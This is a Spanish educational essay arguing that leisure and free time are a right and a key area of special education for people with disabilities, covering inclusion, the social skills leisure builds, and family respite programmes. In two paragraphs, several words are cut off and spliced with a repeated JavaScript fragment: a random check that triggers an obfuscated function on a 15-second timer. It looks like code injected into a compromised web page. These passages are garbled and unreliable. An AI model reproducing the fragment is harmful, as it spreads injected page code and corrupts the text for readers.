EL OCIO Y TIEMPO LIBRE EN LAS PERSONAS CON DISCAPACIDAD. ÁMBITO FUNDAMENTAL EN LA EDUCACIÓN ESPECIAL

Autora: María Cira Beltrán Sández

          Lo único que los diferencia del mundo es que han desarrollado alguna discapacidad: física, psíquica o sensorial. Unos más graves que otros, pero nada más. Hay casi cuatro millones de españoles con algún tipo de discapacidad. Cuatro millones suman una de cada diez personas. Todos coinciden en un punto: echan de menos una asistencia médica y psicológica más contundente para poder alcanzar el máximo nivel de competencia, autonomía personal y laboral. Por eso se debe potenciar el ocio y el tiempo libre como un factor para la integración y la normalización de la vida de este grupo.

           El ocio, como un concepto en sí mismo, ha evolucionado hasta tal punto que hoy se entiende como un elemento fundamental y mediador en el desarrollo de cualquier persona. También en las personas con discapacidad. Nadie debe olvidar que el ocio es un derecho humano básico al que deben tener acceso todos los ciudadanos, según recoge el artículo 43 de la Constitución. Por eso, nadie puede verse privado de él por razones ajenas a su propia voluntad.

           La Asociación Mundial de Ocio y Recreación también aboga por cumplir con este derecho y establece que “el ocio y la cultura son un derecho humano básico, como la educación, el trabajo y la salud y nadie debe ser privado de este derecho por razones de género, orientación sexual, edad, raza, religión, creencias, nivel de salud, discapacidad o condición económica”.

           Pero plasmar en la práctica la teoría no es nada fácil. Por suerte, cada vez son más los servicios y programas que ofrecen actividades de ocio y tiempo libre para discapacitados. Aunque siguen siendo insuficientes: el tiempo libre continúa estandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando vacío, carente de actividades, privado de amigos, falto de ocupación, desprovisto de recursos y escaso de habilidades.

           Por ello, las asociaciones y entidades públicas deben seguir potenciandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando y desarrollandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando todo tipo de alternativas que cumplan el objetivo de la plena participación en la comunidad de este colectivo.

           Como el educativo, este ámbito es necesario para su desarrollo integral, ya que son numerosas las funciones que las actividades de ocio pueden llegar a desempeñar en su educación. Gracias a las actividades de tiempo libre, aprenden a adaptarse según las normas sociales que se imponen en los lugares públicos; rechazan actividades de ocio no saludables o que no están aceptadas socialmente; respetan los turnos; comunican preferencias y necesidades; interactúan con la sociedad; aplican habilidades funcionales académicas y demuestran sus conocimientos y habilidades al resto del mundo.

           El objetivo final es que se considere al ocio como un fin en sí mismo y no como un medio. Así, hay que conseguir que disfruten de él de la forma más autónoma, gratificante y placentera posible y que no se le dé siempre un carácter utilitario.

           Si se respeta y consigue este espacio de ocio, afianzarán sus relaciones interpersonales y aprenderán a llevar a cabo actividades sin ningún tipo de exigencia ni obligación; disfrutarán de las actividades que elegirán a su libre albedrío y, así, libremente, serán ellos mismos los que se desarrollen personal y socialmente.

           Teniendo en cuenta este principio de inclusión que está presente en la sociedad actual, el ocio de las personas con discapacidad debería tener las mismas características que el de cualquier otra persona, puesto que esta experiencia es igual de decisiva para el desarrollo integrar y el bienestar de todas las personas.

           Para garantizar este ocio inclusivo, las instituciones deben unir fuerzas para que las personas con algún tipo de minusvalía tengan las mismas oportunidades de acceso a las mismas actividades que pueden disfrutar el resto de los mortales. Para que los unos puedan aprender de los otros.

           Por otro lado, no hay que olvidar a las familias: las verdaderas protagonistas de este entramado. Son las familias las que soportan en mayor medida la dura tarea de cuidar a un discapacitado, en detrimento de su propio tiempo libre. Por eso, si las personas dependientes cuentan con un tiempo de ocio, también lo es para sus familiares, la mayoría de los cuales viven por y para su hijo, su hermano o su madre discapacitados. Con su dedicación, renuncian a su tiempo libre y sacrifican la oportunidad de desarrollar una vida social plena por consagrar cada minuto de su vida a su familiar discapacitado. A largo plazo, el resultado es perjudicial tanto para el dependiente como para su entorno. No solo por un desgaste físico evidente, sino también psíquico. Se puede, incluso, romper la dinámica familiar, produciendo estrés en la pareja y, en ocasiones, el descuido en los demás hijos.

           Conscientes del grave problema familiar, en las asociaciones es cada vez más común ofrecer programas de respiro familiar, cuyo fin es que los padres desconecten durante el fin de semana de sus obligaciones como educadores de una persona dependiente. El objetivo es que las familias no renuncien a los pequeños placeres que ofrece la vida: tomar un café, ir al cine en pareja, conversar, descansar, pasear… Dedicarse a ellos mismos para poder volcarse, un poco más tarde, de lleno con su familiar.

          Así, el ocio y el tiempo libre se perfilan como un balón de oxígeno tanto para la familia como para el propio individuo en desigualdad de condiciones. Con un tiempo de disfrute personal, tanto el uno como los otros podrán ser completamente independientes y sentirse plenamente desarrollados. El objetivo final es conseguir que, en la medida de lo posible, cualquier joven discapacitado pueda llevar la misma vida (lo más parecida) a cualquier joven de su edad. Ser completamente independientes es su única ambición. Así que ayudémosles entre todos.

           Y para concluir, me gustaría recordar la siguiente cita: “el ocio, independientemente de la actividad concreta de que se trate, es una forma de utilizar el tiempo libre mediante una ocupación libremente elegida y realizada, cuyo mismo desarrollo resulta satisfactorio o placentero para el individuo” (Jaume Trilla,1989, “Tiempo libre y educación infantil”, Enciclopedia práctica de la pedagogía, Planeta, Madrid).


 

Bibliografía y Webgrafía:

  • FEAPS (1990). Primeras Jornadas sobre ocio y vida social. Madrid: FEAPS.
  • FIERRO, A. (1990). “Integración de personas con minusvalía en actividades de ocio y tiempo libre”, en Siglo Cero, (130), 36-38.
  • www.feaps.org/

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